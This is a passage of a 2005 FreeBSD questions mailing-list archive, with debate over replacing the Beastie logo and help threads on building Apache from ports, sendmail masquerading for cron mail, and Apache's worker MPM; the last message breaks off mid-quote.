owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:40:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E8E6216A4CE for ; Thu, 10 Feb 2005 09:40:29 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0736D43D46 for ; Thu, 10 Feb 2005 09:40:27 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CzAoC-00073R-00 for ; Thu, 10 Feb 2005 20:40:24 +1100 Date: Thu, 10 Feb 2005 20:40:23 +1100 To: freebsd-questions@freebsd.org Message-ID: <20050210094023.GA21722@thingy.apana.org.au> References: <20050210055117.GA96699@keyslapper.net> <108284711.20050210103325@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <108284711.20050210103325@wanadoo.fr> User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:40:30 -0000 Anthony Atkielski (atkielski.anthony@wanadoo.fr) [050210 20:34]: > Ted Mittelstaedt writes: > > Yep, I was wondering how long it would take before someone figured > > this one out. We know the real rea$on$ that this logo change is > > being contemplated, don't we. > Personally, I wonder how FreeBSD survives based exclusively on volunteer > efforts. It's a noble idea, but in the real world, things cost money, > and people need to earn a living. Something that survives exclusively > from the kindness of strangers leads a fragile existence. FreeBSD has a > large following and seems reasonably stable, but when something is a > volunteer effort, the larger the following, the better. Netcraft confirms it: FreeBSD is dying! I'd rather see effort towards some of the really *stupid* bugs in 5.x that languish for months with a fix included. Like linux-pango being broken, meaning that by default you can't actually run a lot of recent Linux binaries (a Thunderbird nightly got me on that one). Or /etc/fstab allowing msdos as a disk type but fsck not, and the fsck refusing to accept the fix despite the system inconsistency. *Stupid* little things like that are actually the most distressing thing about 5.x - I use FreeBSD because it mostly does The Right Thing. - d. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:42:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F42516A4CE; Thu, 10 Feb 2005 09:42:51 +0000 (GMT) Received: from ew.co.za (g2.endorphinweb.co.za [196.41.15.93]) by mx1.FreeBSD.org (Postfix) with ESMTP id 21B7143D1F; Thu, 10 Feb 2005 09:42:48 +0000 (GMT) (envelope-from fbsdlists@mnet-online.de) X-Scanned-By: This message was scanned by EW virus scanning services (www.ew.co.za) Received: from [192.168.0.3] (unverified [213.23.20.173]) by ew.co.za (SurgeMail 2.2c10) with ESMTP id 14867 for multiple; Thu, 10 Feb 2005 11:42:44 +0200 In-Reply-To: <259024940.20050210102037@wanadoo.fr> References: <200502091349.00708.algould@datawok.com> <420AE14F.6050104@pacific.net.sg> <200502092248.15008.algould@datawok.com> <200502092133.04884.krinklyfig@spymac.com> <259024940.20050210102037@wanadoo.fr> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <163A0D80-7B48-11D9-B2EC-000A95D5F764@mnet-online.de> Content-Transfer-Encoding: 7bit From: Stephan Lichtenauer Date: Thu, 10 Feb 2005 10:42:32 +0100 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-Server: High Performance Mail Server - http://surgemail.com X-Authenticated-User: s01@lichtenauer.co.za cc: freebsd-advocacy@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:42:51 -0000 Am 10.02.2005 um 10:20 schrieb Anthony Atkielski: > Joshua Tinnin writes: > > I don't think that a logo makes or breaks deals, but from a public > relations and marketing standpoint a good logo is extremely useful, and > the lack of a logo (or a very busy logo that's hard to use and > recognize) can be a liability. > > I agree. I even would bring back the issue of a separate freebsd.com website presenting the business case of FreeBSD while freebsd.org is perfect as it is now for people looking for technical information about how to use the system. Stephan From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:51:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CAE2A16A4CE for ; Thu, 10 Feb 2005 09:51:07 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F66843D1D for ; Thu, 10 Feb 2005 09:51:07 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CzAyU-0007BT-00 for ; Thu, 10 Feb 2005 20:51:02 +1100 Date: Thu, 10 Feb 2005 20:51:01 +1100 From: David Gerard To: freebsd-questions@freebsd.org Message-ID: <20050210095101.GD21722@thingy.apana.org.au> References: <20050210055117.GA96699@keyslapper.net> <108284711.20050210103325@wanadoo.fr> <20050210094023.GA21722@thingy.apana.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050210094023.GA21722@thingy.apana.org.au> User-Agent: Mutt/1.5.6+20040907i Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:51:07 -0000 David Gerard (fun@thingy.apana.org.au) [050210 20:41]: > I'd rather see effort towards some of the really *stupid* bugs in 5.x that > languish for months with a fix included. Like linux-pango being broken, > meaning that by default you can't actually run a lot of recent Linux > binaries (a Thunderbird nightly got me on that one). Or /etc/fstab allowing > msdos as a disk type but fsck not, and the fsck refusing to accept the fix > despite the system inconsistency. *Stupid* little things like that are > actually the most distressing thing about 5.x - I use FreeBSD because it > mostly does The Right Thing. I meant, of course, the fsck.c maintainer. I certainly do not wish to call someone a fsck ;-) and apologise for any offence given! If the "new logo" doesn't have horns then it will be prima facie evidence that FreeBSD has been taken over by fsckwits. - d. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:57:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B5F7C16A4CE for ; Thu, 10 Feb 2005 09:57:33 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1571443D2D for ; Thu, 10 Feb 2005 09:57:33 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id 90849FD01F; Thu, 10 Feb 2005 10:57:31 +0100 (CET) Message-ID: <420B3005.5020003@locolomo.org> Date: Thu, 10 Feb 2005 10:57:25 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: ".:PBS:. Medik" References: <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> <5.1.0.14.2.20050209142821.00b257b0@mail.pbsclan.com> In-Reply-To: <5.1.0.14.2.20050209142821.00b257b0@mail.pbsclan.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@FreeBSD.org Subject: Re: Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:57:33 -0000 .:PBS:. Medik wrote: > I installed my copy of 4.6.2 cleanly on a machine, to avoid having to > find myself looking for more ports and programs to install I did a > complete installation without bothering with the configuration of > Xwindows ( as I will be accessing this box from SSH on a windows > machine) so I don't need the XFREE86 or however its called, hehe. So in > essence this is all being fine tuned by remote on LAN. First, 4.6 is depreciated, since you are starting on a clean install, I suggest you start with a current release such as 4.11 or 5.3. For ease of future upgrade, I suggest 5.3. Get the first iso, no need for the rest. Second, you might find yourself installing a few times before you get it right. Not that you get it wrong at first, but your needs might need to clear up. A full install is not recommended, you will get a system that requires more work to update. A minimal is better, since you can always add stuff as you need. Dependencies are resolved automatically if you use the ports. For a workstation I choose X-Developer, for a server, no X. > To answer your question about whether I'm downloading .iso, no I did > that for the first copy of the OS only and made a cd copy from windows > yes. But all further ports I grab are *.tar.gz straight from Apache.org > yes and then ftp'd into my bsd box. I can unzip them fine then I'm stuck > with the tar to which I believe I 'untared' it correctly that now I have > an apache_1.3.33 folder, which to me seems fine, but I don't believe I > put it in the right directory tree. It sounds like you are not installing from ports, this explains why apache fails to compile. You should get the ports tree in /usr/ports, then # cd /usr/ports/www/apache13 # make # make install if you get an error, retry and you can catch all the output using script: # script apache_build.log # make # exit see if you can locate the problem if not copy the relevant part of the output when asking here. cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 10:57:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3211216A4CE for ; Thu, 10 Feb 2005 10:57:32 +0000 (GMT) Received: from smtp.ade.swiftdsl.com.au (smtp.ade.swiftdsl.com.au [218.214.228.98]) by mx1.FreeBSD.org (Postfix) with SMTP id 1277E43D2D for ; Thu, 10 Feb 2005 10:57:31 +0000 (GMT) (envelope-from no-spam@swiftdsl.com.au) Received: (qmail 2725 invoked from network); 10 Feb 2005 10:57:32 -0000 Received: from unknown (HELO daemon.foo.lan) (218.214.176.70) by smtp.ade.swiftdsl.com.au with SMTP; 10 Feb 2005 10:57:32 -0000 From: Ian Moore To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 21:27:19 +1030 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2614156.Y7lzFxZD4n"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502102127.27393.no-spam@swiftdsl.com.au> cc: Ruben de Groot cc: Ted Mittelstaedt Subject: Re: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 10:57:32 -0000 --nextPart2614156.Y7lzFxZD4n Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Wed, 9 Feb 2005 17:21, Ted Mittelstaedt wrote: > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ruben de Groot > > Sent: Tuesday, February 08, 2005 4:47 AM > > To: Ted Mittelstaedt > > Cc: Ian Moore; freebsd-questions@freebsd.org > > Subject: Re: Sendmail masquerading configuration > > > > > X-Authentication-Warning: myhost.foo.bar: root set sender to > > > someuser using -f > > > > Sorry, but this simply isn't true. I have just tested this. Warnings > > like this might get generated when you remove root from the > > TRUSTED_USERS macro; *NOT* when you remove it from EXPOSED_USERS. > > Your right, me bad! > > > > It also makes it harder to troubleshoot when someone external to > > > your system is sending bogus junk to you. > > > > I agree. As I said in the part of my message you snipped: > > > > "BTW, I agree that masquerading is NOT the proper way to do > > these things." > > > > > And while it's not applicable now, with older versions of sendmail > > > this would definitely break all your scripts that used e-mail. > > > > > > Use of the -f flag is what he needs to do. > > > > Fine. But the OP's problem concerned mail send by cron. How would you > > instruct cron to use the -f flag? (There's a MAILTO environment > > variable in cron, but no MAILFROM) > > I would probably install src/usr.sbin/ and recompile cron to use > the -f flag. The flags are settible in cron/config.h in the source, > FreeBSD uses > > #define MAILARGS "%s -FCronDaemon -odi -oem -oi -t" /*-*/ > > just change this to > > #define MAILARGS "%s -FCronDaemon -froot@verizon.net -odi -oem -oi -t" > /*-*/ > > Ted > Thanks, I'll give that a go. BTW, using C{E} instead if C{E}root plus the MASQUERADE_AS macro doesn't se= em=20 to work. I didn't try the MASQUERADE_ENVELOPE macro with it though.=20 Actually, even sending mail as my own local user on the system ends up with= =20 the hostname added in. Perhaps I'm doing something wrong. Anyway, from what you've both said, rebuilding cron sounds like a better=20 solution. Once I've modified the source, do I just do a make install from=20 the /usr/src/usr.sbin/cron directory? Cheers, =2D-=20 Ian GPG Key: http://home.swiftdsl.com.au/~imoore/no-spam.asc --nextPart2614156.Y7lzFxZD4n Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCCz4XPUlnmbKkJ6ARAkICAJ0Vt3RoKMVAp7kaOezNwuR3VhNjJACbBiZy AwYPoTVCxtBh4j3OI2K0BBE= =q92O -----END PGP SIGNATURE----- --nextPart2614156.Y7lzFxZD4n-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:20:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C06EA16A4CE for ; Thu, 10 Feb 2005 11:20:35 +0000 (GMT) Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7BB5643D1F for ; Thu, 10 Feb 2005 11:20:34 +0000 (GMT) (envelope-from toomas.aas@raad.tartu.ee) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id j1ABKWDl011056 for ; Thu, 10 Feb 2005 13:20:32 +0200 Received: from INFO/SpoolDir by raad.tartu.ee (Mercury 1.48); 10 Feb 05 13:20:33 +0300 Received: from SpoolDir by INFO (Mercury 1.48); 10 Feb 05 13:20:10 +0300 Received: from [192.168.1.2] (192.168.1.2) by raad.tartu.ee (Mercury 1.48) with ESMTP; 10 Feb 05 13:20:08 +0300 Message-ID: <420B436A.8060202@raad.tartu.ee> Date: Thu, 10 Feb 2005 13:20:10 +0200 From: Toomas Aas User-Agent: Mozilla Thunderbird 1.0RC1 (Windows/20041201) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Subject: Apache2 with worker MPM on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:20:35 -0000 Hello! We are running a fairly busy website with Apache 2.0.52. At times a lot of httpd processes gather up and consume all the available memory, which slows down web access. Apache2 was installed from ports and defaulted to prefork MPM. I read from the Apache performance tuning document that worker MPM may perform better on busy websites and has smaller memory footprint. Is it safe to run Apache2 with worker MPM on FreeBSD 5.3? There must be a reason why prefork is the default... --=20 Toomas Aas -------------------------------------------------------- |arvutiv=F5rgu peaspetsialist | head specialist on computer networks| |Tartu Linnakantselei | Tartu City Office | ----------------------------------------------------- +372 736 1274 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:29:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D59BD16A4CE for ; Thu, 10 Feb 2005 11:29:42 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5104543D54 for ; Thu, 10 Feb 2005 11:29:42 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1ABTij20003 for ; Thu, 10 Feb 2005 03:29:45 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Thu, 10 Feb 2005 03:29:43 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <1905317067.20050210103050@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:29:42 -0000 owner-freebsd-questions@freebsd.org wrote: > Ted Mittelstaedt writes: > >> And, I am also concerned about the historical revisionists who >> are claiming FreeBSD never had a logo. That is hogwash. > > Where can I see the logo? > On the cover of any FreeBSD CDROM purchased from Walnut Creek. However, use of the devil image associated with UNIX predates this by nearly 2 decades. >> Nobody ever said that FreeBSD lacked a logo until after a few days >> ago when this ill-conceived competition was leaked - because >> everyone knew the logo was Beastie. > > That's not a logo. Just about every image I've seen of > Beastie has been > different, so it's not a logo, it's a character associated with the > brand (like Mickey Mouse). Logos are simple and instantly > recognizable; they do not mutate from one presentation to the next. The logo image that uses Beastie first appeared on the FreeBSD 1.1 cdrom and was used as a logo in the bottom of every single Walnut Creek CDROM including the ones that came out after BSDI bought them, except it didn't appear on the 2.0 CDROM case. That is the most recognizable logo, and even today appears on the top of the FreeBSD website, to the right of the name FreeBSD. The logo has switched direction a few times. The original WC drawing had him looking left, most WC pressings have him looking left in the logo but a few have him looking right. The images of Beastie on the WC cd's that are in the main part of the CD have changed quite a bit, of course. This is the actual logo of FreeBSD and for years was used, it is still the most recognizable as "the logo" by the userbase. > Most open-source projects don't have logos; even Linux lacks a proper > logo (one could probably be made from the popular penguin character, > but I haven't seen any examples). > > Red Hat, however, _does_ have a logo. > And this is relevant, how exactly? >> Yes I understand that some commercial consultants and such have had >> problems due to the logo being a devil image. > > Logos need to be as neutral as possible, since they will be very > widely used and very heavily imprinted in customers' minds. They > must not conjure up thoughts of anything except the brand they > represent. > You mean like the ATT Death Star. That must be why they aren't doing so well lately. har har. This is YOUR interpretation of a logo. And I have as a matter of fact seen the one you drew that you posted a link to before you responded here so if that is your idea of how a logo should be drawn I think I know what you mean. Perhaps you are aware that fashions in logos come and go - word logos are very common these days, they didn't used to be however. Frankly though the finer points of what typeface and colors are used are utterly lost on most people. I personally find word logos to be very boring. From a business sense they are not very smart because if the business is ever sold, then the acquiring business jettisons all of the name recognition and imprinting you are talking about when they change the name. I wonder if perhaps the reason word logos are popular is due to the egos of the company founders - probably as little boys they were the ones that could pee their names in the snow. >> This logo competition is childish - 99% of the >> FreeBSD community members are not graphic artists and couldn't draw >> their way out of a paper bag ... > > That's why I figured I'd try my hand at it; see > > http://perso.wanadoo.fr/anthony.atkielski/FreeBSDLogo1.jpg > If you pitched the heart (Valentines day must be on your mind) and made a real honest to God devils tail instead, it might have a shot in the competition. > It meets the technical criteria for a logo; the aesthetic aspect is > an open question. > > This logo concept uses ITC Garamond Bold And who do we have to pay royalties to or buy that font from? > > Actually, I think the devil aspect has little impact on public > perception of FreeBSD. It's having a cute little cartoon mascot in > sneakers that has the real impact--it implies that FreeBSD is a toy > for kids, not a serious product for professionals and corporations. > A more serious image of Beastie should be considered for these > venues. And in any case, this mascot is distinct from a logo. The > image used on your book is not a logo. I didn't say that -that- image was a logo nor did I say I was using the FreeBSD logo on the cover of my book - I said I was using the FreeBSD devil image. And if you look again at the book cover you might note that the computer behind Beastie somewhat resembles a PDP. Use of a beastie likeness in artwork does not necessairly assume the use of the beastie logo. As my book was not a product of the Project, it wouldn't have been strictly accurate to use the Project's logo. However, the red devil usage with UNIX predates FreeBSD by many years, and they wern't wearing sneakers on the cover of the UCB UNIX manuals. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:34:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6089316A4CE for ; Thu, 10 Feb 2005 11:34:35 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0FD7343D39 for ; Thu, 10 Feb 2005 11:34:33 +0000 (GMT) (envelope-from leowap@gmail.com) Received: by wproxy.gmail.com with SMTP id 67so1468900wri for ; Thu, 10 Feb 2005 03:34:30 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=UCUNt5jKxkJI9U9gC0NZx609HcJeUpCKIeEXzdsCD/kTSDksJnIm/SglUhhHqXx43SE3jnGBjgFepLD1T9iKzmpnpGBviAJlF5B3XX/dZ2nlBJZPACWKYcsGa+4yh2E9QFxa8nCz9L4vvlvPXg48jDMAVY3LROKo6O3a8WjhJz4= Received: by 10.54.39.42 with SMTP id m42mr23303wrm; Thu, 10 Feb 2005 03:34:30 -0800 (PST) Received: by 10.54.54.31 with HTTP; Thu, 10 Feb 2005 03:34:28 -0800 (PST) Message-ID: <32c1830105021003342bbceee6@mail.gmail.com> Date: Thu, 10 Feb 2005 12:34:29 +0100 From: Leandro D'Addario To: questions@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Can I... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Leandro D'Addario List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:34:35 -0000 Hi there! I would to know if i can install the last relase of freeBSD on my computer. It's an acer travelmate 201t(It's old i know), celeron 600, 320Mb RAM, HD 4.7Gb. Can I have problems with KDE (I' ve already had with Mandrake 10...)?!? There is a way to fix these problems (I see the screen only during the install phase (with graphics), then at the reboot the screen becomes black)... I hope there will be no problems with freeBSD. Thank You Leandro From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:40:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 42F0A16A4CE for ; Thu, 10 Feb 2005 11:40:10 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id C333643D48 for ; Thu, 10 Feb 2005 11:40:09 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1ABeCj20060 for ; Thu, 10 Feb 2005 03:40:12 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Thu, 10 Feb 2005 03:40:11 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <108284711.20050210103325@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:40:10 -0000 owner-freebsd-questions@freebsd.org wrote: > Ted Mittelstaedt writes: > >> Yep, I was wondering how long it would take before someone figured >> this one out. We know the real rea$on$ that this logo change is >> being contemplated, don't we. > > Personally, I wonder how FreeBSD survives based exclusively on > volunteer efforts. It's a noble idea, but in the real world, things > cost money, and people need to earn a living. Something that > survives exclusively from the kindness of strangers leads a fragile > existence. > FreeBSD has a > large following and seems reasonably stable, but when something is a > volunteer effort, the larger the following, the better. This depends on your definition of survival. As long as FreeBSD runs on some hardware, and people still use it, it's surviving. The only real issue I see to FreeBSD's survival that requires corporate attention is device drivers for new hardware. And this is an issue that harms all operating systems even Windows. There are just as many older versions of Windows being made unrunnable by new hardware that lacks drivers for it, as BSD versions. but beyond this, the computer industry itself is in a real growth slump anyway. The 8080 IBM PCjr architecture is still at the core of new PC hardware. What growth we are seeing is the increasing commoditization of hardware. Unfortunately this is stunting the introduction of newer and possibly better ways to build a computer, all it does is just make the hardware cheaper and cheaper, and less and less innovative. (not that I'm complaining about the cheaper part, of course) Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:41:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 513B816A4CE; Thu, 10 Feb 2005 11:41:43 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC5C243D54; Thu, 10 Feb 2005 11:41:42 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1ABffj20078; Thu, 10 Feb 2005 03:41:41 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Stephan Lichtenauer" , Date: Thu, 10 Feb 2005 03:41:40 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <163A0D80-7B48-11D9-B2EC-000A95D5F764@mnet-online.de> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: freebsd-advocacy@freebsd.org Subject: RE: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:41:43 -0000 owner-freebsd-questions@freebsd.org wrote: > Am 10.02.2005 um 10:20 schrieb Anthony Atkielski: > >> Joshua Tinnin writes: >> >> I don't think that a logo makes or breaks deals, but from a public >> relations and marketing standpoint a good logo is extremely useful, >> and the lack of a logo (or a very busy logo that's hard to use and >> recognize) can be a liability. >> >> > I agree. I even would bring back the issue of a separate freebsd.com > website presenting the business case of FreeBSD while freebsd.org is > perfect as it is now for people looking for technical > information about > how to use the system. > That is what sendmail did and I think it works very well. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 11:44:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2CE0D16A4CE for ; Thu, 10 Feb 2005 11:44:33 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id B3F8B43D4C for ; Thu, 10 Feb 2005 11:44:32 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1ABiQj20106; Thu, 10 Feb 2005 03:44:27 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Ian Moore" , Date: Thu, 10 Feb 2005 03:44:25 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <200502102127.27393.no-spam@swiftdsl.com.au> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: Ruben de Groot Subject: RE: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 11:44:33 -0000 Ian Moore wrote: > On Wed, 9 Feb 2005 17:21, Ted 